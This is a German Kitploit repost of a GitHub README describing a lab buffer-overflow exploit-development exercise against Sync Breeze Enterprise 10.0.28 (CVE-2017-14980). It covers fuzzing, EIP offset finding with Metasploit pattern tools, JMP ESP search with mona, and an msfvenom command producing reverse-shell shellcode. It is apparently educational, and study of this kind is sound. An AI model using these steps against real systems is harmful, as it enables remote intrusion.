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CVE-2017-14980 — Untersuchung einer klassischen stackbasierten Pufferüberlauf-Schwachstelle in einer kontrollierten Laborumgebung zu Bildungszwecken. | Kitploit
Tools/GitHubGitHub/godoy-sec/cve-2017-14980
ExploitationDebuggerFuzzingLernen & BildungShellcode-GenerierungPayload-EntwicklungBinary-ExploitationLabs & Praxis
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

Untersuchung einer klassischen stackbasierten Pufferüberlauf-Schwachstelle in einer kontrollierten Laborumgebung zu Bildungszwecken.

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1vor 9 TagenNoch nicht geprüft

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CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - Buffer-Overflow-Forschung

Zielsetzung

Untersuchung einer klassischen stack-basierten Buffer-Overflow-Schwachstelle in einer kontrollierten Laborumgebung zu Bildungszwecken.

Das Ziel dieses Projekts war es, Folgendes besser zu verstehen:

  • Anwendungs-Fuzzing
  • Absturzanalyse
  • EIP-Kontrolle
  • Identifizierung von Bad Characters
  • Speicherkorruption
  • Ablauf der Shellcode-Ausführung
  • Grundlegende Methodik der Exploit-Entwicklung

Umgebung

  • Windows-10-VM
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

Laboraufbau

Der erste Schritt bestand darin, Sync Breeze Enterprise 10.0.28 in einer Windows-10-VM zu installieren, die für Schwachstellenforschung und Exploit-Entwicklung konfiguriert war.

Die Umgebung wurde isoliert, um sichere und kontrollierte Tests zu gewährleisten.

Beide virtuellen Maschinen (Ziel und Angreifer) wurden im Modus „Bridged Network Adapter“ konfiguriert, um eine direkte Netzwerkkommunikation zwischen den Systemen während des Exploit-Prozesses zu ermöglichen.

Sync Breeze Client

Sync Breeze Client

Sync Breeze Login-Seite

Sync Breeze Login


Methodik

1. Informationssammlung

Debugging-Tools wurden konfiguriert, um das Verhalten der Anwendung zur Laufzeit zu analysieren und die Absturzbedingungen zu beobachten.


2. Fuzzing

Große Byte-Sequenzen wurden an die Anwendung gesendet, um die ungefähre Puffergröße zu ermitteln, die zum Auslösen eines Absturzes erforderlich ist.


3. Validierung der Schwachstelle

Nachdem die Absturzschwelle identifiziert wurde, wurde die Anwendung erneut mit der entdeckten Payload-Größe getestet, um die Schwachstelle zu bestätigen.


4. EIP-Kontrolle

Der genaue Offset, der zum Überschreiben des Instruction Pointers (EIP) erforderlich ist, wurde identifiziert.

Ein eindeutiges Muster erzeugen:

root@kitploit:~
/usr/bin/msf-pattern_create -l <SIZE>

Den Offset identifizieren:

root@kitploit:~
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

Wobei:

  • <SIZE> = während des Fuzzings ermittelte Payload-Länge
  • <EIP_VALUE> = beobachteter 4-Byte-Wert, der das EIP überschreibt

Screenshot der EIP-Kontrolle

EIP-Kontrolle


5. Analyse der Bad Characters

Es wurden Bad Characters identifiziert, um festzustellen, welche Bytes von der Anwendung nicht sicher verarbeitet werden können.

Datei mit Bad Characters


6. Identifizierung der Rücksprungadresse

Eine geeignete JMP ESP-Instruktion wurde in einem Modul ohne aktiviertes ASLR gefunden.

Geladene Module auflisten:

root@kitploit:~
!mona modules

Nach JMP ESP suchen:

root@kitploit:~
!mona find -s "\xff\xe4" -m <MODULE_NAME>

Anwendungsspezifische DLLs wurden aufgrund der vorhandenen statischen Speicheradressen bevorzugt.

Mona-JMP-ESP-Screenshot

Mona JMP ESP


7. Test der Ausführung

Der Ablauf der Payload-Ausführung wurde validiert, um die korrekte Umleitung zum kontrollierten Puffer sicherzustellen.


8. Shellcode-Erzeugung

Der Shellcode wurde unter Ausschluss der zuvor identifizierten Bad Characters erzeugt.

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

Vor dem Shellcode wurde ein NOP-Sled (\x90) eingefügt, um die Zuverlässigkeit der Payload-Ausführung zu verbessern.

Screenshot der Payload-Ausführung

Payload-Ausführung


9. Entwicklung des finalen Exploits

Der finale Exploit wurde zusammengestellt und in der isolierten Laborumgebung erfolgreich getestet.

Haftungsausschluss

Dieses Projekt wurde ausschließlich zu Bildungs- und Forschungszwecken in einer isolierten Laborumgebung entwickelt.

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